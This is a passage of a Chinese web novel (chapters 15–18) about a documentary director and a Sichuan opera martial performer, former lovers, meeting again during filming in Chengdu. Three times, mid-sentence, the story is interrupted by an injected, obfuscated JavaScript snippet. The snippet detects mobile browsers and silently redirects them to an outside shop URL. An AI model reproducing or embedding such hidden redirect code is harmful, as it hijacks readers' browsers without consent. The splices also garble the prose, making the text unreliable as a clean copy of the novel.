也许是不敢问,也许是知道此刻的答案并非终点,而只是一个开始,一个他期盼已久,却又不敢看清全貌的开始。 15. 忌重逢 成都秋天的早晨,总是湿漉漉的,飘着一层薄薄的雾。阳光软绵绵地透过云层,没精打采地落在“椒香苑”那块老招牌上,像还没睡醒一样。 招牌是木头的,边角的漆皮翘的翘、掉的掉,露出底下深褐色的木头。一层长年累月的油烟糊在上面,摸上去大概都有点黏手。 雾还没散,空气里已经混着花椒的麻和熟菜油的香,一个劲儿往鼻子里钻。青砖墙上的油渍,结了厚厚的壳,这会儿被要亮不亮的天光照着,居然也反着一层油光。 陈声和在店门口鼓捣他的拍板相机,手指在屏幕上来回划拉,对着一个参数调了又调,半天也按不下那个快门。 取景框正对着店内那口直径一米二的铸铁大锅。那锅底子又黑又亮,就那么静静回望着他,像一只没了温度的眼睛。 锅沿上那几道深浅不一的划痕,横的横,竖的竖,都是这口锅身经百战的证明,记录着它经历过的成千上万次颠簸翻炒。 不远的地方,林瑶正和灯光师一起调设备,嘴里也没停:“陈导,一会儿辣椒油下锅,反光要是太猛,是不是得加个柔光片压一下?” 她手里那个测光表滴滴滴地响,在清晨的小巷里显得特别清脆。 “先试一条,用自然光看看效果。”陈声和应了一声,嗓子比平时沙了点,喉结动了动。 他望着店里面升腾的白色热气,有点走神。 那一团团白雾,把眼前的景物都糊得扭曲起来。五年前的旧画面,就跟卡了带的旧电影一样,一帧一帧,在他脑子里慢慢转起来。 以前大学后门那条油腻腻的小街,也有个同样雾气弥漫、人声嘈杂的小馆子。 李霄川总爱没个正形地倚在人家灶台边,戏服松松垮垮地穿着,胭脂都没来得及卸干净,脸上就挂着那副痞里痞气的笑,手里晃荡着一个红油翻滚的大汤勺,冲他挑眉。 “小广仔,怎么样,敢不敢过来尝一口老大爷的手艺?” 他腕骨突出,还戴着平时练功用的白色护腕,上面星星点点,早就被飞溅的辣椒油洇上了几点洗不掉的暗红。 赶上休息日,李霄川总会带他去肥猪街觅食,并信誓旦旦地保证,这里藏着成都最地道的小面。 那时候他们也爱早起,一人扫开一辆共享单车,叮铃哐啷地混在早高峰上班族的人流里,看起来,倒也像是一对再普通不过的室友。 他就这么跟着李霄川,听着车铃叮叮当当地响,穿过湿漉漉的晨雾和七拐八绕的老巷。 他到现在都还记得李霄川那被风吹得鼓起来的后衣摆,记得他一边蹬车一边回头,眉飞色舞地给自己讲成都每一条老街巷子的来历。 也记得俩人呼噜呼噜吃完面,额头冒汗,并排骑着车慢悠悠晃回学校时,那份饱足而踏实的快乐。 此刻,这雾气缭绕的小店里,热腾腾的蒸汽把什么都蒙上了一层朦胧。 恍惚间,那个穿着艳丽戏服的身影好像又在白雾里转了过来,宽大水袖“呼”地一下扫过他的镜头。 那胭脂红的绸缎,带着灼人的温度擦过取景框,在他视网膜上狠狠烙下一道挥之不去的残影。 他猛地眨了眨眼,这才感觉到睫毛上不知道什么时候已经沾满了清晨的湿气。 “陈导?”林瑶的声音把他拉回现实,她朝巷口扬了扬下巴,“李老师到了。” 皮鞋踏在地上的声响由远及近,脚步声不紧不慢,却带着他熟悉的节奏。 李霄川今天没穿戏服,就一件简单的黑色T恤,衬得肩线干净利落。左耳上那枚银质耳钉在晨光里闪了一下。 陈声和没抬头,但后颈的汗毛已经先一步认出了那个人。就像大学时在图书馆,他总能凭感觉知道李霄川站在他身后。 “设备都调试好了?” 低低的川音在耳边响起,尾音有点懒懒地上扬。 “马上就好!”摄影师笑着和他打招呼。 距离近了,他能看清李霄川眼角那颗被粉底盖了一半的泪痣。黑色T恤领口里露出小半截银链,吊坠的形状在布料下隐隐约约。 陈声和往后挪了半步,转身假装调白平衡,手指在按钮上按来按去,却不知道自己在调什么。 “早。” 李霄川语气平常地和他打招呼,目光却落在他手腕上。那里系着一条细细的红绳,潮汕人用来辟邪的款式。 绳结已经有点松了,一看就戴了很多年。 “嗯,早。”陈声和低头把袖口往下扯了扯,假装没注意到他的视线。 店堂里突然爆出洪亮的笑声:“李娃儿!今天又要拍啥子名堂嘛?” 系着藏蓝围裙的老师傅举着铁勺就迎出来了,围裙上那些辣椒籽油渍早就浸得发暗,一看就是老江湖了。 “拍豆瓣酱咋个炒。”李霄川接得特自然,顺手从兜里摸出个小玻璃瓶,倒点辣椒面在掌心搓了搓,“今天这个二荆条炒得香。” 陈声和在监视器边上抿了抿嘴。 就这么个小动作,李霄川全看在眼里。他嘴角一勾,转头对备料的蔡师傅说:“今天少放点花椒哈,我们导演广东人,遭不住。” “我早就能吃辣了。”陈声和硬邦邦顶回去,结果鼻子一痒,眼角瞬间就湿了。 李霄川顿了一下,喉结动了动,又笑起来:“那抱歉,我自作多情了。” “哎哟,广东仔嗦!”蔡师傅笑得浑厚,一巴掌拍在陈声和肩上,“莫虚!我给你整个微辣版!” 陈声和挤了个笑,心里却像被什么扎了一下。 “微辣”这个词,他太熟了。 以前李霄川带他吃火锅,每次都这个调调:“微辣是老子最后的底线!再退就要被开除四川籍咯!” 那时候铜锅里的红油滚得正欢,热气模糊了对面那双笑得弯弯的眼睛。 “啪”一声打板,陈声和猛地回神。 成都、非遗、还有李霄川在戏台边每一个安静的侧影,陈声和都想用自己的镜头,一个一个装进来。 团队刚起步,人手不多,预算更紧。请不起太贵的摄影师,便宜的他又觉得配不上眼前这一切。 说到底,还是他自己舍不得放下那台摄像机。 此刻镜头正对着蔡师傅那双糙手,一勺红亮亮的豆瓣酱滑进锅,“嗤啦~”热油欢腾,几滴红油点子直接往外蹦。 陈声和还没反应过来,身体已经先往后躲,结果后背一下撞进一片温热的胸膛里。 李霄川不知什么时候站到了他身后,右胳膊一抬,替他挡掉了溅起来的油星,小臂上立刻多了几个红点点。 “……谢了。”陈声和盯着他胳膊上慢慢显出来的红印,嗓子有点发干。 李霄川没接话,只是自然地侧了侧身,挡在了他和那口滚烫的油锅之间。 陈声和低头假装去正调角度,李霄川的手指无意间擦过他手背,就那么一下,烫得人心口发颤。 “取景框歪了。”那人淡淡地说。 陈声和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004132|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 默默往后挪了一小步。 “第六镜,第二次!”场记的声音突然插进来,打破了有点黏稠的空气。 蔡师傅夹起一片毛肚,在红汤里涮了三秒,笑呵呵地递过来:“导演尝尝嘛!” 陈声和刚要摆手说“不用”,李霄川已经伸手接了过去:“我来,先帮陈导试试辣度。” 他面不改色地吃下去,喉结动了动,又补了一句:“比五年前淡多了。” 这句话一下烙进了陈声和胃里。 他一下子晃了神,好像又回到吵架那天的饭桌,自己推开李霄川夹来的毛肚,低声说:“别逼我了。” 而李霄川就那么看了他很久,最后轻声问:“你是不是早就想走了?” “陈导?”老张的声音突然插进来,“这条过了吗?” 陈声和眨了眨发酸的眼睛,这才发现手里的摄像机还在录。取景框里,李霄川嘴角沾着一点红油,像上台前没抹匀的胭脂。 “再……再保一条。”他清了清有点哑的嗓子。 李霄川正在旁边帮蔡师傅整理调料台,听见时手上顿了顿,眼角轻轻抬了一下。 他没抬头,只是默默把辣椒罐往右转了个小小的角度,铝罐底在木台上磨出细细的声响。 那个角度,刚好能让陈声和的镜头避开反光,又不会把蔡师傅的手裁出画面,他太熟悉陈声和的取景习惯了。 取景器里的画面微微一动,陈声和伸手扶稳镜头,听见林瑶在旁边好奇地问:“陈导以前是不是来这儿拍过呀?” 李霄川忽然轻笑一声,拖着调子说:“没有吧,他连九宫格都分不清……” 话没说完就停住了。因为陈声和正用一口地道的成都话对蔡师傅说:“花椒要撒匀称哈。” 发音准得让人一愣。蔡师傅“嚯”了一声,笑呵呵地又抓起一把花椒。 现场安静了一瞬,灯光师捅捅录音师,小声嘀咕:“李老师怎么知道陈导习惯机位在右边?” “他俩是校友,”化妆师一边往粉扑上喷定妆水,一边插话,“大学社团合作过……”她的声音渐渐低下去,因为李霄川已经转身走向后厨,皮鞋底碾过几粒掉在地上的花椒。 陈声和再次抬起眼时,看见墙上挂着的旧黄历。他把镜头对准,却发现“今日宜忌”那一栏,“忌重逢”三个字被油烟熏得有点发黄,边角卷着,像张欲言又止的嘴。 半小时后,拍摄的重点素材已经完成了,剧组正在忙着收拾器材。 陈声和坐在大厅桌边看回放,忽然发现一个细节。 蔡师傅倒下最后一碗辣椒的瞬间,李霄川左手有个很快的小动作:他把陈声和喝到一半的茉莉花茶往自己这边轻轻一挪,正好避开了辣椒下锅时炸开的辛香气。 陈声和胸口一阵发闷。他摸出手机想记下这个瞬间,锁屏却忽然跳出一条通知: 【您关注的川剧-李霄川更新了微博】 点开看到十分钟前发的后厨花絮照片,配文只有三个辣椒表情。 照片角落里,隐约露出半截褪色的红手绳。 “最后补个特写!”陈声和突然抬高声音。 他亲自举起摄像机对准翻滚的炒锅,镜头里,李霄川站在灶台另一边,蒸腾的热气模糊了彼此的模样。 蔡师傅最后撒上一把青花椒,陈声和按下暂停键。 取景框定格的画面里,几粒花椒溅落在李霄川的皮鞋边,像为他们的过去,悄悄打上了一串沉默的省略号。 16. 凌晨前任来送药 陈声和回到酒店时,深夜的钟声正好敲过十二点。 电梯镜面照出他微微发红的眼角,他条件反射用指节蹭了蹭眼角。 都怪椒香苑后厨那油烟,也太呛人了。 他试图这么说服自己,可李霄川那家伙的声音就跟长了脚似的,在他耳边来回溜达,赶都赶不走。 是……那人接过老师傅递来的毛肚时,指节上那道月牙形的旧伤在灯光下一闪而过,嘴角还挂着那副有点欠的笑:“比五年前淡多了。” 淡多了? 毛肚淡多了? 是疤,还是……别的什么? “叮!”电梯到层的提示音猛地把他拽了回来。 走廊尽头的逃生窗不知被哪位房客推开了一条缝,夜风一下灌进来,裹挟着成都特有的麻辣香气,劈头盖脸地砸了他一身。 这味道……忽然让他想起好多年前,李霄川排练完趴在他宿舍床上,鼻尖蹭着他脖子小声嘟囔。 “你身上老有股潮汕的海风味儿,闻着闻着我就饿了,想吃海鲜面。” 可现在呢? 他忍不住低头闻了闻衬衫袖口,哪还有什么海风,只剩下一身仿佛腌入味了的花椒香。 胃里就在这时猛地一抽,一阵尖锐的刺痛传上来。 推开房门,屋里一片黑,只有几台笔记本屏幕幽幽亮着。 他坐下,把今天拍的素材往回拉,画面最终停在李霄川调整辣椒罐的特写上。 那只他闭着眼睛都能描摹的手正将玻璃罐向右旋转,他连自己都没有注意过的生活习惯,如今被另外一个人记住。 李霄川无名指内侧那道浅疤,在4K画质下清晰得连皮肤纹理都看得清。 可那上面空荡荡的,少了点什么。 “保一条。” 陈声和对着空荡荡的房间轻声说,说完自己都愣了一下。就像他袖口那颗永远也系不上的纽扣,五年过去了,还是甩不掉。 桌上林瑶打包的麻婆豆腐早就凉透了,凝固的红油在灯光下看着像一层蜡,腻得慌。 一天只吃了个苹果,他机械地挖了一勺送进嘴里,凉透的辛辣味在舌尖炸开的刹那,胃部的绞痛更凶了。 手机屏幕就在这时突然亮起,母亲的消息跳出屏幕: 【阿和,嘉雯过两天到成都出差,你记着联系一下人家,带她到处逛逛】 下面跟着一个陌生的电话号码 那个号码在黑暗里亮得像个倒计时炸弹,他最终还是按下了删除,清除了聊天记录。 可手指就像不是自己的,不受控制地滑向了通讯录的最底端。 “会喷火的熊猫”这个幼稚到家的备注,就那样安安静静地躺在那里。胃里的疼再次窜了上来,冷汗唰地浸湿了后背。 突然间,好像又听见大学医务室阿姨唠唠叨叨的声音:“胃病最怕情绪波动,你们这些年轻人啊,就是不把身体当回事……” 他疼得蜷在转椅上,额头抵着冰凉的桌面。怀里紧紧抱着的一台老富士相机,硬生生硌在肋骨那儿。 里面存着今天偷拍的李霄川的侧影。 这情景,简直和大二那年一模一样。他躲在琴房角落,也是用这台相机,偷偷拍下那个在阳光下压腿的少年。 “陈导?”门外传来林瑶的声音,听着有点飘忽,“您睡了吗?” 他想应一声,可喉咙干得发紧,一个字都挤不出来。 剪辑页面的白光刺得他眼睛生疼。胃里像是被人狠狠攥住拧了一把,他皱着眉,伸手去够桌上的保温杯。 热水灌下去,烫得舌尖发麻,可胃里的绞痛还是老样子。 缓了好一会儿,他才勉强撑着去开门。 林瑶抱着电脑进来,一看他脸色就明白了:“又胃疼了?” 没等陈声和说话,她已经默默给他添了热水,翻出胃药放在旁边,然后坐到办公桌边,安安静静地开始对今天的拍摄素材。 时间一点点过去,陈声和迷迷糊糊中听见有人叫他。 “陈导,这段还要再调吗?”林瑶揉着发困的眼睛问。 “你先回去休息吧。”陈声和看了眼时间,已经快凌晨两点了,声音绷得有点紧,“我再过一遍。” 林瑶张了张嘴,最后只是点点头。 房门轻轻关上的那一瞬,陈声和猛地弯下腰,额头重重抵在冰凉的桌沿上。 胃里像塞了块烧红的铁,药吃了也不管用,灼痛一阵阵涌上来,眼前都开始发白。 他颤抖着伸手去够药瓶,却不小心碰倒了相机,那台老富士“砰”地一声摔在地上,镜头盖咕噜噜滚出去好远。 陈声和盯着它,耳边响起李霄川送他这台相机时说的话:“以后你拍戏,我演戏,绝配。” 是啊,现在他确实在拍戏,李霄川也还在演戏。只是他们之间,早就谈不上“配”了。 又一阵剧烈的胃痉挛袭来,他蜷缩着滑落到地毯上,膝盖死死抵住胃部。冰凉的汗珠顺着鬓角滚落,在浅色地毯上晕开一片暗色。 不知过了多久,门外传来脚步声。很轻,停在他房门口,又走开。 陈声和以为是幻觉,直到那脚步声再次折返。这回停得更久,接着是迟疑的敲门声。 “叩、叩叩”,两短一长,像是只属于他们之间的暗号。 他躺在不那么干净的地毯上,愣了好一会儿才反应过来。 这个节奏……是大学时他总戴着耳机剪片子,李霄川就这样敲琴房的门,后来干脆给他录了个专属的敲门声。 胃痛突然尖锐起来,陈声和咬着牙没出声。 门外的人等了一会儿,似乎耗尽了耐心,才终于开口:“……东西放门口了。” 是李霄川的声音。低低的,带着点成都话的尾音,和记忆里一样温柔。 脚步声再次远去,陈声和却觉得连呼吸都扯着胃疼。他数了三十下,才踉跄着爬起来,拉开门。 一个保温桶静静放在地毯上。 保温桶是普通的银色,把手上缠着一圈医用胶布。陈声和盯着那圈白色,手指微微发颤。 大学时李霄川练功受伤,总这样缠绷带:“多缠几圈,省得你沾水。” 桶里是小米粥,熬得糯糯的,上面浮着几粒茯苓。旁边压了张药方,字迹被水汽晕开些,但“忌生冷”三个字写得特别用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004133|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力,几乎要戳破纸。 陈声和恍惚间又想起他们第一次约会,他胃疼发作,李霄川跑了好几条街去买潮汕砂锅粥。 回来时手烫得通红,还笑嘻嘻说:“你们广东人真麻烦,喝个粥都要讲镬气。” 现在这碗粥,保温桶屏幕上显示温度刚好55度,当年李霄川拿温度计测过好多次,说这是“广仔能接受的最高热度”。 他舀了一勺送进嘴里,淡淡甜味在舌尖漫开,居然还放了冰糖。 桌上的手机震了几下,是陌生号发来的短信:【药方第三味改成了陈皮,不会太苦】 陈声和盯着屏幕,手指悬在键盘上,他知道是李霄川,最后只回了一个:【谢谢】 三分钟后,手机又亮了:【你助理在朋友圈问哪有24小时药房】 【猜的】 陈声和看着那几个字,忽然笑出声来,笑得眼眶发酸,笑得视线都模糊了。 李霄川还是老样子,连关心人都要找个借口。 他点开林瑶的朋友圈,最新一条是三天前的聚餐照片,哪有什么找药房的内容。 …… 第二天早上,林瑶来收保温桶的时候,发现里面已经空了。 她一愣,心里直嘀咕:陈导居然全吃完了?上次制片主任特意排队买的艇仔粥,他也只喝了两口就推开了啊。 话刚到嘴边,她突然刹住了,她看见陈声和的手指正轻轻摩挲着保温桶底。那里贴着一张黄色的便利贴,上面用简笔画了个歪歪扭扭的辣椒,旁边还有片小小的茶叶。 “这……”林瑶一时不知该说什么。 “扔了吧。”陈声和说着,手上却小心翼翼地揭下那张便利贴,轻轻夹进了手边的剧本里。 这个保温桶,还是当年李霄川总受伤住院时,陈声和特意买的。没想到隔了这么久,居然又出现在他面前。 林瑶抱着保温桶走出大厅,听见前台两个小姑娘正用四川话低声聊天:“昨晚302房导演的粥,是川剧院李老师送来的哈。” “我晓得!我们看监控,他在门口站了半个多小时才敲门。戴着口罩都遮不住那个气质,我还偷偷要了签名合影嘞!” 林瑶想起昨晚李霄川打来的那通电话,轻轻叹了口气。 客房里,陈声和在电脑前枯坐了半个钟头,屏幕上密密麻麻的拍摄计划一个字也没看进去。他这才梦游似的挪进洗手间。 镜子里的脸没什么血色,眼下泛着淡淡的青黑。他伸出手,指尖抵在冰凉的镜面上,正对着自己胃的位置。 恍然间,他似乎又闻到那人身上淡淡的药膏味,混着粥米的热气,听见一句带着笑意的“烫,我给你吹吹”,那时候他难受的连一口热粥都咽不下。 而昨晚,那个曾经会细心替他吹凉每一勺粥的人,就站在门外。他们之间只隔着一扇门,他却连呼吸都屏住了,不敢发出半点动静。 镜子里的人扯了扯嘴角,笑得比哭还难看。通红的眼眶再也盛不住,眼泪一颗接一颗砸在洗手台上。 “真疼啊……” 他低声说,分不清是胃在灼烧,还是心口那道多年未愈的旧伤,又在隐隐作痛。 17. 旧疤新粥 皆是旧疾 晨光从练功房的旧木窗挤进来,切成一条条光带,斜斜地铺在地板上。地板有些翘了,木纹里深深浅浅,嵌满了年深日久的划痕。 陈声和今天提前半小时到了,推门时带起的气流让浮尘在光束中翻涌,像是突然惊醒的往事。 空荡的房间里还残留着昨夜的排练痕迹,把杆旁的矿泉水瓶没盖紧,水渍在地板上晕开深浅不一的圆;镜面上用快干的口红写着排练时间,末尾那个笑脸已经有些斑驳。 他手指抹过化妆台,指腹沾上一层薄薄的粉,是老式散粉那种茉莉香,混着一点汗味。 这味道一下子把他拽回大学时候……李霄川每次演完,总爱把汗津津的脑袋往他肩上蹭。 陈声和放下器材,目光扫到角落的刀枪架。 一柄红缨枪斜靠在墙边,枪尖缠着胶布。一看就是李霄川干的,他老嫌道具枪不够锋利,每次都自己重新缠一遍。 门外传来脚步声。 陈声和迅速退到设备后面,假装在调镜头。 灯光师扛着柔光箱进来,大嗓门亮得很:“陈导这么早!李老师一般踩点到,除非排武戏……”他顿了顿,“对了,今天正好要练《长坂坡》的枪花。” 陈声和点点头,镜头却悄悄转向了那柄红缨枪。 取景框里,枪杆上深浅不一的划痕像在记着什么数。他拉近焦距,突然发现最下面刻着两个字母:C.S。 是他英文名的缩写。刻痕边角都被磨圆了,像是被人反反复复摸过很多年。 门轴发出那阵熟悉的吱呀声。 李霄川逆着光走进来,棉麻练功服的袖子随便卷到手肘,小臂上还留着昨天吊威亚的红痕。 他目光在器材上扫了一圈,经过陈声和时只停了一瞬,就转向灯光师:“老李,反光板往左边挪点,窗户这儿反光太强。” “得嘞!” 陈声和低头摆弄存储卡,听见旁边红缨枪很轻地“铮”了一声。轻得就像有人路过时,衣角不小心蹭到了枪尖。 这时候晨光已经亮起来了,地板上的光斑慢慢连成一片。灰尘在光里慢悠悠地飘,像被时间筛下来的金粉。 “开始吧。”陈声和开口,声音比平时低了一点。 镜头里,李霄川已经站在练功房中央,背挺得笔直。 两个人谁也没看谁。李霄川只很轻地点了下头。起势时身形像松树迎风,袖子哗地一翻,带起的气流让镜头后的陈声和下意识屏住了呼吸。 第一个后空翻落地,陈声和的手指抠紧了摄像机侧边的凹槽。 透过取景框,他能清楚看见李霄川绷紧的肩线,像拉满的弓一样蓄着力,可胸口起伏却平稳得像按了暂停键。 这种反差让陈声和晃了神。 这模样,跟他第一次拍他时很像。台上是威风凛凛的武生,台下却蜷在更衣室角落,吐得像是换了个人。 只有他知道,那副举重若轻的皮囊底下,藏了多少硬撑。 十二、十三、十四…… 数到第十五个,李霄川左肩果然有个几乎看不见的卡顿,像老式放映机突然跳了一帧。 但马上就过去了,连他额角的汗珠都没打乱掉下来的节奏。 十九、二十。 最后一翻落地,李霄川右臂猛地绷直,硬生生压住了想去按左肩的本能。 陈声和看着取景框里那截微微发抖的手腕,脑海里浮现的是离别那天,李霄川也是用这只手,死死攥着那张潮汕的机票。 陈声和的喉结动了动,嘴比大脑快:“停。” 整个练功房瞬间安静下来。 林瑶举着场记板愣在半空,灯光师小张刚调好的反光板又放下了,金属支架哐当一声轻响。 “让李老师休息十分钟。”陈声和说,声音比想象中哑,像是被成都的秋风刮过似的。 李霄川慢慢收了架势,抬手抹了把下巴上的汗,嘴角扯出个很淡的笑:“陈导比我们团长还严格。” 陈声和没接话,低头假装检查监视器。屏幕上画面定格在李霄川落地那一瞬间,左肩衣料被汗浸湿,贴出一道不自然的褶。 他知道那里有什么。 那年大学戏曲社团的练功房,老旧的空调嗡嗡作响,李霄川第一次带他看基本功。 “后空翻最难的不是翻上去,”李霄川站在垫子中央,手臂张开像只栖息的鹰,“是落下来这一下。肩膀得绷住,不然……” 他故意没说完,朝陈声和眨了眨眼。 陈声和那时候还分不清川剧里的“靠”和“褶”,只觉得李霄川腾空时,那腰身劲瘦得像一头绷紧了,即将扑食的豹子。 他举着相机拍,镜头追着李霄川的每一个起落,直到对方突然一个踉跄,重重摔在垫子边缘。 “李霄川!” 相机砸在地上的声音被完全忽略了。陈声和冲过去时,李霄川已经自己坐了起来,脸色白得吓人,却还冲他笑。 “没得撒子事,小伤。” 可当他去扶人时,摸到了对方后背一片冰凉的冷汗。 那天晚上,陈声和还是硬拽着他去了校医院。 校医院的老医生捏着X光片直摇头:“韧带拉伤,两周不能练功。” “哪有那么娇气,”李霄川满不在乎地活动肩膀,“我师父说戏比天大,轻伤不下火线。” 陈声和没说话,只是当天晚上临时请假出了校,回来是手里拎着几种膏药。 那管潮汕青草药膏味道冲得厉害,挤出来的时候,隔壁宿舍都有人探头骂:“谁在宿舍炖中药了?” “你们广东的药都这么霸道?”李霄川捏着鼻子,却乖乖坐着让他涂药。 陈声和沾着药膏的手指碰到那道肿起的瘀青时,听见对方倒吸了一口气。 “镇痛效果好。”陈声和低头拧紧药膏盖子,“……别乱动。” 李霄川却不听,忽地伸手,手指蹭过他右腕内侧的一小块疤。 “你这儿也有个月亮。”李霄川说。 陈声和看见他喉结动了动,像是把后半句话咽了回去 后来那管药膏用完了,铝皮管子被李霄川洗干净,用来装了宿舍钥匙。 再后来,陈声和发现,每次排练前,李霄川都会用右手按一下左肩,仿佛是在确认那道伤还在不在,又或是在提醒自己不要再受伤。 而现在,五年后的练功房里,李霄川的左肩上又多了不知道多少道疤。 李霄川脱了外套,只穿着一件洗得发灰的黑色练功服,棉质布料被汗水浸透,紧贴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004134|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在他绷紧的肩背上,随着呼吸起伏显出清晰的肌肉轮廓。 陈声和调整着镜头焦距,取景框里那道横在左肩胛骨下方的疤痕清晰浮现,比周围肤色深几度的褐痕,边缘还有未完全消退的红。 不是当年社团汇演时摔出的旧伤,是新的。 “小李!”老琴师带着咳嗽声从走廊传来,竹编门帘被掀得哗啦响,“那边催第三场了!再磨蹭要赶不上下午的彩排。” 李霄川应了一声,弯腰捡起躺在地上的戏服,左肩动作明显比右边慢了半拍。 陈声和看见他后颈沁出的汗顺着脊椎线滑进衣领,刚才那二十个后空翻到底牵动了旧伤。 陈声和摸向裤袋,铝制药膏管已经被体温烘得发软,盖子边缘渗出一点褐色药油。来之前过机场安检时,安检员捏着这管可疑物品反复检查的样子还留在脑海里。 “……这个给你。”陈声和最终还是递过去,“加了薄荷脑,不会臭。” 拧开的管口飘出带着苦味的青草香,还有薄荷脑独特的凉。是潮汕药铺今年新调的方子,老中医说年轻人现在都嫌传统药膏腥气儿重。 李霄川没接,目光落在管身上褪色的生产日期上:“配方改了?” “嗯。”陈声和声音很低,铝管在他掌心微微变形,发出细微的咯吱声,“加了薄荷脑……镇痛更好。” 他知道李霄川记得。那管原版药膏臭得整个宿舍楼都在问是不是死了老鼠。最后是陈声和举着手机作势要打给社团陈老师,李霄川才捏着鼻子妥协。 后来每次换药都像打仗,李霄川一边龇牙咧嘴地抱怨药味像咸鱼缸打翻了,一边乖乖把练功服褪到腰间。 陈声和为此特意打长途电话回潮汕问阿嬷,电话那头老人笑得直拍大腿:“夭寿哦,男仔谈恋爱比学跌打还认真。” 现在这管改良版再不会有腌海货般的腥臭,反倒带着川西坝子雨后青蒿的气息。 李霄川还是没接,只是随手扯开自己的练功服领口,把伤口故意露出来。锁骨下方三寸处,一道缝合疤痕像蜈蚣般趴在麦色皮肤上。 他身上伤很多,多到有些都不记得怎么伤的了,就像他曾经说过的话,武生怎么可能会不受伤。 “去年在重庆巡演摔的,”他食指点了点最粗的那段针脚,“钢丝断了,缝了针。” 阳光从气窗斜射进来,镜子里两人的身影被框成旧的老照片。 陈声和盯着那道比记忆中任何伤痕都狰狞的疤,右腕内侧的旧伤突然隐隐发烫。 那道疤像一条苍白的线,斜斜地刻在李霄川的皮肤上,边缘还有些细小的缝合痕迹。 “已经好了,《长坂坡》赵云坠马那场。”李霄川松开衣领,棉布回弹时扬起细小的尘埃,“落地时保护垫移位了。” 陈声和喉结动了动。 他记得这出戏,赵云单骑救主,演员要从三米高台背身翻下。 当年李霄川在校园演出前,硬是把这段动作练到肩胛骨淤紫发黑,他一边用药酒给他推拿一边骂:“你是不是非要摔成残废才甘心?” 其实陈声和心里清楚,只有这样才能避免将来更大的事故发生。 但现在这道疤在无声地宣告:五年过去,李霄川还是那个为了戏不要命的疯子。 18. 陈导日常:躲、躲、还是躲 练功房外,徐爷正和灯光师闲聊,声音隐约传进来。 “你是没瞧见,去年巡演有场戏,小李子从三张桌子上翻下来,”徐爷掸了掸烟灰,“这小子愣是咬着牙把整场戏演完,谢幕时血顺着袖子往下滴。” “图啥呢?”灯光师不解,“健康没了,啥都白瞎。” 徐爷把烟头摁灭在地上,火星在水泥地上蹭出一道焦痕。 “图啥?”他拍了拍裤腿上的灰,“你当人人都跟你们似的,算盘珠子拨得噼啪响?” 灯光师讪笑着摸了摸鼻子:“我这不是心疼孩子嘛……” “心疼?”徐爷冷笑一声,从兜里摸出块薄荷糖扔进嘴里,“我师父那会儿,为了练吊毛,腰上拴根麻绳就往台底下跳。现在倒好,蹭破点皮就嚷嚷送医院。” 穿堂风卷着后台的胭脂味飘过来,徐爷被风迷了眼,皱纹深刻的眼皮耷拉着眯了一会儿,才望着窗外开口,那声音像蒙了尘的锣:“唱武生的,谁身上没三两处旧伤?要是人人都惜命,川剧早八百年就绝种了。” 一旁的灯光师刚拧好螺丝,闻言把工具扔进铁盒,发出“哐当”一声响。 他抹了把额头的汗,接话道:“嗐,哪行不是这样?我们这行盯着灯看,眼睛都快瞎了,不也照样干嘛。”他说着指了指角落里堆成小山的红牛罐子,“熬呗,拿命熬。” “是啊……现在的小年轻,谁还愿意吃这份苦,守这清贫?”他缓缓抬头,目光仿佛穿透了斑驳的墙壁,望向某个很远的地方,“一个时代有一个时代的戏。可老祖宗传下来的好东西,这些唱念做打,这些精气神……总不能,全都丢给过去,埋进土里吧?” 灯光师张了张嘴,最终什么也没说。他只是低下头,用力推了推手边的聚光灯。 那道光柱“啪”地亮起,扫过练功房斑驳的墙面,照见上面密密麻麻的练功鞋印,有些已经褪色发黄,像是岁月盖上的邮戳。 练功房里的陈声和突然抬手,手指轻轻擦过李霄川肩胛处那道凸起的疤痕。皮肤比记忆里粗糙了些,应该是常年受伤被折腾的。 李霄川的呼吸明显滞了一瞬,练功服下的肌肉瞬间绷紧。 “疼吗?”话一出口陈声和就后悔了。那道疤足有两寸长,像条蜈蚣盘踞在麦色皮肤上,怎么可能不疼。 李霄川转过头,轻声说:“唔痛咯。”(不疼了) 发音有点硬,甚至有点怪,但那三个字的音调,却是准确的。 是陈声和很久以前,一个字一个字教过他的潮汕话。 记忆像被这句话猛地撬开了一道缝儿。陈声和想起,李霄川以前说过,他这个四川娃儿,喜欢听粤语歌。 “为什么呀?”他当时靠在李霄川怀里,仰头笑着问。 李霄川低下头,用鼻尖蹭了蹭他的头发,笑得胸腔都在微微震动:“因为好听啊,软软的,就像你在我耳边叽叽咕咕一样。” 陈声和猛地抽回手,指梢还留着碰过他皮肤的温热。窗外咿咿呀呀地飘来学生吊嗓子的声音,一只养熟的雀儿扑棱棱落到窗台,歪着脑袋左看右看。 